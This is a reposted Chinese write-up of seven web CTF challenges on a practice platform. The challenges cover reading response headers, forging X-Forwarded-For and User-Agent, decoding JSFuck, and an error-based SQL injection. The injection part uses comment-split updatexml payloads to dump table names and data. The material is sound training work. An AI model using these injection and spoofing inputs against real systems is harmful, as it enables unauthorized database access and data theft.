

# 实验吧 Web的WriteUp

转载

weixin\_34270606 于 2018-09-23 16:35:00 发布 83 收藏

文章标签: [php 数据库](#)

原文链接: <http://www.cnblogs.com/Triomphe/p/9670756.html>

版权

每次看别人的Writeup都有一种感觉,为什么有了WriteUp我还是不会,每次都打击自己的积极性,所以自己尝试写一篇每个萌新都能看懂的Writeup.

## 0x01 天下武功唯快不破

题目提示:看看响应头

既然让看响应头,那就看一下响应头. F12 -> 点击network -> 查看响应头

The screenshot shows the Chrome DevTools Network tab. The 'Headers' pane is expanded for the request to '10.php'. The response headers are as follows:

- Content-Length: 216
- Content-Type: text/html
- Date: Sat, 22 Sep 2018 12:07:13 GMT
- FLAG: UDBTVF9USE1TX1QwX0NINE5HRV9GTRHOj1CTWznZjdGcg==**
- Keep-Alive: timeout=5, max=100
- Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
- X-Powered-By: PHP/5.3.29

The 'Request Headers' pane is also visible, showing:

- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,i
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- Cache-Control: max-age=0
- Connection: keep-alive
- Cookie: Hm\_lvt\_34d6f7353ab0915a4c582e4516dffbc3=1537348924,1537615693; Hm\_g1; Hm\_lpv\_34d6f7353ab0915a4c582e4516dffbc3=1537617769
- Host: ctf5.shiyanbar.com
- Referer: http://www.shiyanbar.com/ctf/1854

我们看到了响应头里面有一个属性FLAG.用base64编码了. 解码后是 P0ST\_THIS\_T0\_CH4NGE\_FL4G:Q30XSguWO

就是说我们要用Post发送一条请求,然后再看页面的注释: `<!-- please post what you find with parameter:key -->`

现在写好代码就好了.

```
import requests
import base64

url = "http://ctf5.shiyanbar.com/web/10/10.php"
r = requests.get(url=url)
#对回显的响应头数据flag进行base64解码
key =base64.b64decode(r.headers["flag"]).encode('utf-8'))
#获取想要的后面的字符串.分隔符是:
ans =str(key, 'utf-8').split(':')
key =ans[1]
data ={"key":key}
#发送post请求
r = requests.post(url=url,data=data)
print(r.text)
```

然后拿到了flag: [CTF{YOU\\_4R3\\_1NCR3D1BL3\\_F4ST!}](#)

## 0x02 猫捉老鼠

题目提示:catch! catch! catch! 嘿嘿, 不多说了, 再说剧透了

既然是catch那就是抓包了.用fiddler抓包,看响应头

```
HTTP/1.1 200 OK
Date: Sat, 22 Sep 2018 12:45:23 GMT
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Row: MTUzNzYxOTk0Mw==
Content-Length: 132
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<form method='POST' action=''>
Input your pass key:
<input name='pass_key' type='text'></input>
<input type='submit' />
</form>
```

蓝色的部分是自己定义的响应头,如果不懂可以看HTTP协议,看响应头都有哪些.

刚开始以为要解码填入key,后来发现不用解码,直接填入就得到flag了.

KEY: [#WWWnsf0cus\\_NET#](#)

考察内容:应该是对HTTP响应头的熟悉.这样就知道哪些是自己定义的响应头了.

## 0x03 后台登录

一道脑洞题.

刚开始看源码,发现了注释里面有代码

```

<!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
    if(mysqli_num_rows($result)>0){
        echo 'flag is :'.$flag;
    }
    else{
        echo '密码错误!';
    } -->

```

刚开始以为是注入,后来发现原来登录密码就是文档的名字ffifyop.php的ffifyop 输入后就得到flag了.

flag is :flag{ffifyop\_has\_trash}

## 0x04 貌似有点难

一道代码审计的题目

```

<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
    $cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
    $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
    $cip = $_SERVER["REMOTE_ADDR"];
else
    $cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *****";
}
else{
echo "错误! 你的IP不在访问列表之内! ";
}
?>

```

整个源码就是判断你IP地址是不是等于1.1.1.1 如果等于就显示flag.题目的目的就是伪造ip的使用.

所以拦截数据包在请求头里面添加

```
X-FORWARDED-FOR: 1.1.1.1
```

就会得到flag

Key is SimCTF{daima\_shengji}

## 0x05 what a fuck!这是什么鬼东西?

看到一堆字符,不要慌仅仅是一种编码方式叫做JSFuck.直接复制所有编码然后粘贴到console控制台中然后运行就可以获得flag

密码是:lhatejs

## 0x06 头有点大

进去后发现有三行英文.意思说你禁止访问本服务器,因为你要安装.net framework 你的浏览器是ie在英国地区.

在英国是不存在的,.ent最高版本才4.x你就来个9.9 明显是错误的.虽然没有但是伪造骗一骗机器还是可以的.

```
You don't have permission to access / on this server.
```

```
Please make sure you have installed .net framework 9.9!
```

```
Make sure you are in the region of England and browsing this site with Internet Explorer
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64 ;.NET CLR 9.9) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/68.0.3440.106 Safari/537.36
Accept-Language: en-gb,en;q=0.9
```

上面就是抓包修改的部分内容.

The key is:HTTpH34der

## 0x07 加了料的报错注入

这题算一道很不错的题目了.根据题目就知道出题人让我们用报错注入做题了.

tips:post username and password... 提示已经给出.

F12看到注释里面有一行语句.

```
<!-- $sql="select * from users where username='$username' and password='$password'"; -->
```

可以看出来单引号,先尝试一下. `username=1&password=2`

Raw	Params	Headers	Hex
POST /web/baocuo/index.php HTTP/1.1 Host: ct5.shiyanbar.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://ct5.shiyanbar.com/web/baocuo/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 22 Connection: close Upgrade-Insecure-Requests: 1			
username=1&password=2			

Raw	Headers	Hex
HTTP/1.1 200 OK Date: Sun, 23 Sep 2018 07:58:16 GMT Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29 X-Powered-By: PHP/5.3.29 Content-Length: 152 Connection: close Content-Type: text/html		
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "2" at line 1		

单引号报错了.确实可以进行报错注入.再尝试一下其他的. `username=1'+or+'1'=&password=2`

Raw	Params	Headers	Hex
POST /web/baocuo/index.php HTTP/1.1 Host: ct5.shiyanbar.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://ct5.shiyanbar.com/web/baocuo/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 31 Connection: close Upgrade-Insecure-Requests: 1			
username=1'+or+'1'=&password=2			

Raw	Headers	Hex
HTTP/1.1 200 OK Date: Sun, 23 Sep 2018 08:00:56 GMT Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29 X-Powered-By: PHP/5.3.29 Content-Length: 70 Connection: close Content-Type: text/html		
<center style='color:red'><h1>Sql injection detected</h1></center> 		

检测到了注入. 等于号被过滤了.username还过滤了() 但是password没有过滤.看别人的解释,才懂.一种叫做HTTP分隔注入的方式.用/\*\*/注释掉中间部分.

select \* from users where username='\$username' and password='\$password' 如果我们传入参数username=1/\*&password=\*/2 那么最后的SQL语句就是

select \* from users where username=1/\* and password=\*/2 中间这一部分就被注释掉了.

因为前面说了=被过滤,所以使用regexp

```
--爆数据库名
username=1'or+updatexml/*&password=*/(1,concat(0x7e,(database()),0x7e),1)+or+'
XPATH syntax error: '~error_based_hpf~'
--爆表名
username=1'or+updatexml/*&password=*/(1,concat(0x7e,(select+group_concat(table_name)+from+information_schem
XPATH syntax error: '~ff1144jj,users~'
--爆列名
username=1'or+updatexml/*&password=*/(1,concat(0x7e,(select+group_concat(column_name)+from+information_sche
XPATH syntax error: '~value~'
--爆数据
username=1'or+updatexml/*&password=*/(1,concat(0x7e,(select+value+from+ff1144jj),0x7e),1)+or+'
XPATH syntax error: '~flag{err0r_b4sed_sqli+_hpf}~'
```

转载于:<https://www.cnblogs.com/Triomphe/p/9670756.html>